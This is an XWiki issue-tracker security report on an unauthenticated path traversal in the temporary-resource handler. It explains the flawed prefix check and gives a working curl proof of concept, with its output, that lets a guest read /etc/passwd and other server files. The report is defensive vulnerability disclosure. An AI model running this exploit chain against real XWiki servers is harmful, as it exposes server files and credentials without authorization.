Details
-
Bug
-
Resolution: Fixed
-
Critical
-
8.3, 8.2.2, 7.4.6
-
Unit
-
Unknown
-
N/A
-
-
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
-
8.7
Description
Same as XWIKI-24075 but for the temp-resource
Requirements
- guest can export a page (pdf, office, ...)
- instance configured with a chrome exporter (serverSide=1) OR pre-existing safe folder from prior user activity
However these requirements can be manipulate in a pure guest fashion / other ways are possible, just more tedious (waiting a real legit user interaction). I believe the office viewer macro (requiring LO to be installed) can also work here.
Explanation
DefaultTemporaryResourceStore.getTemporaryFile() constructs a File from URL-decoded path segments and uses a string-prefix check getAbsolutePath().startsWith(safeFolder.getAbsolutePath()) to forbid traversal. File.getAbsolutePath() does not canonicalise .. components, so a path like <root>/tmp/<mod>/<md5>/../../../../etc/passwd trivially passes the prefix check (both paths share the safe-folder prefix), and the subsequent FileInputStream lets the OS resolve .. to read any file the JVM process can open.
The handler is annotated @Authenticate, but @Authenticate only invokes XWiki.checkAuth(), it doesn't require authentication AFAIK. isResourceAccessible then performs authorization.hasAccess(VIEW, owningEntityReference); if the url supplied entity reference is a guest view public document (e.g. the sandbox), the check passes for guest =)
ExtendedURL.extractPathSegments splits the url path on literal / and then urldecodes each segment, so a request like ..%2F..%2F..%2Fetc%2Fpasswd becomes a single decoded segment ../../../etc/passwd i.e. encoded %2F is forwarded by Jetty 12.1.8 intact, decoded by ExtendedURL, and embedded as one literal segment in the resource path. The result is new File(safeFolder, "../../../etc/passwd")
PoC
I'm gonna take the easy route for this poc. I have a local chrome container running on my VM. Standard xwiki installation on debian 13 via the official packages.
curl -sS -c jar 'http://10.1.1.128:8080/xwiki/bin/view/Sandbox/WebHome' \ | grep -oE 'data-xwiki-form-token="[^"]+"' #data-xwiki-form-token="wS5OzQjAxAHpLzWbuKkgtA" #trigger export curl -sS -b jar -c jar \ 'http://10.1.1.128:8080/xwiki/bin/get/XWiki/PDFExport/WebHome?action=export&form_token=wS5OzQjAxAHpLzWbuKkgtA&pages=xwiki:Sandbox.WebHome' #{"id":["export","pdf","1779629068863-820"],"state":"NONE","canceled":false,"progress":{"offset":0.0}} curl -sS -b jar \ 'http://10.1.1.128:8080/xwiki/bin/get/XWiki/PDFExport/WebHome?data=jobStatus&jobId=export%2Fpdf%2F1779628501901-644' # {"id":["export","pdf","1779628501901-644"],"state":"FINISHED","canceled":false,"progress":{"offset":1.0},"pdfFileURL":"\/xwiki\/tmp\/export\/document%3Axwiki%3ASandbox.WebHome\/pdf\/78d5e2f0-7faf-4342-b0e9-bb09aeae554d.pdf?fileName=PDFExport.pdf","failed":false,"lastError":null} # Just get whatever file: curl -i 'http://10.1.1.128:8080/xwiki/tmp/export/document%3Axwiki%3ASandbox.WebHome/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd?fileName=PDFExport.pdf' # HTTP/1.1 200 OK # Server: Jetty(12.1.8) # Date: Sun, 24 May 2026 13:24:58 GMT # Access-Control-Allow-Origin: * # Set-Cookie: JSESSIONID=node01udqj3qkllzzu1m9ld6o22lxwp73.node0; Path=/xwiki # Expires: Mon, 24 May 2027 13:24:58 GMT # Content-Language: fr # Cache-Control: public # Last-Modified: Sun, 24 May 2026 13:24:58 GMT # Content-Type: text/plain;charset=utf-8 # Content-Length: 1532 # root:x:0:0:root:/root:/bin/bash # daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin # bin:x:2:2:bin:/bin:/usr/sbin/nologin # sys:x:3:3:sys:/dev:/usr/sbin/nologin # sync:x:4:65534:sync:/bin:/bin/sync # games:x:5:60:games:/usr/games:/usr/sbin/nologin # ...
Impact
Guest can read any file on the server, including hibernate config
Proposed score: 8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Tested on XWiki 18.3.0
Attachments
Issue Links
- is caused by
-
XWIKI-10375 Refactor the temporary resource concept inside the Resource module
-
- Closed
-